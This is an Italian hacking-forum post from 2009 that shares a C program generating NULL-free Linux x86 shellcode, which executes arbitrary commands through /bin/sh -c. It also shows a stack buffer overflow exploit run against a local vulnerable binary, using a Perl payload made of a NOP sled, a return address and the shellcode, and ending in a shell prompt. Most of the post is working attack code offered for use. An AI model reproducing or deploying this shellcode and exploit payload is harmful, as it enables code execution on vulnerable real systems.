admin
Founder
Registrato: Oct 03, 2008
Messaggi: 261
|
 Inviato: Mer Apr 15, 2009 12:03 am Oggetto: [C] Shellcode generator |
 |
|
Ecco a voi finalmente IL generatore di shellcode DEFINITIVO per Linux x86. NULL-free, con uno shellcode di base il più corto possibile, testato e perfettamente funzionante su kernel 2.4 e 2.6. Aspettatevi presto di vederlo da qualche parte piuttosto 'importante'...Wink
| Codice: | /*
* BlackLight's shellcode generator for Linux x86
* NULL-free version
*
* Usage: ./generator <cmd>
* (C)2008 by BlackLight <blacklight[at]autistici.org>
* Released under GPL v.3 licence
*
* Greetz to: evilsocket, for the idea he gave me ;)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char code[] =
"\\x60" /*pusha*/
"\\x31\\xc0" /*xor %eax,%eax*/
"\\x31\\xd2" /*xor %edx,%edx*/
"\\xb0\\x0b" /*mov $0xb,%al*/
"\\x52" /*push %edx*/
"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/
"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/
"\\x89\\xe3" /*mov %esp,%ebx*/
"\\x52" /*push %edx*/
"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/
"\\x89\\xe1" /*mov %esp,%ecx*/
"\\x52" /*push %edx*/
"\\xeb\\x07" /*jmp 804839a <cmd>*/
"\\x51" /*push %ecx*/
"\\x53" /*push %ebx*/
"\\x89\\xe1" /*mov %esp,%ecx*/
"\\xcd\\x80" /*int $0x80*/
"\\x61" /*popa*/
"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 <l1>*/;
int main (int argc, char **argv) {
int i,len=0;
char *shell,*cmd;
if (!argv[1])
exit(1);
for (i=1; i<argc; i++)
len += strlen(argv[i]);
len += argc;
cmd = (char*) malloc(len);
for (i=1; i<argc; i++) {
strcat (cmd,argv[i]);
strcat (cmd,"\x20");
}
cmd[strlen(cmd)-1]=0;
shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );
memcpy (shell,code,sizeof(code));
for (i=0; i<strlen(cmd); i++)
sprintf (shell,"%s\\x%.2x",shell,cmd[i]);
printf ("%s\n",shell);
} |
| Codice: | blacklight@nightmare:~/prog/c/VULN$ ./vuln `perl -e 'print "\x90" x44; print "\x5b\xe7\xff\xff"; print "\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`
[çÿÿ`1À1Ò°
Rhn/shh//biãRh-cccáRëQSáÃaèôÿÿÿ/bin/sh
sh-3.1$ |
Ecco, questo si chiama shellcode generato automaticamente, pulito, breve, funzionante e perfettamente efficiente XD
http://www.milw0rm.com/shellcode/6274
by BlackLight |
|
FAQ
Cerca
Lista degli utenti
Gruppi utenti
Profilo
Messaggi Privati
Login
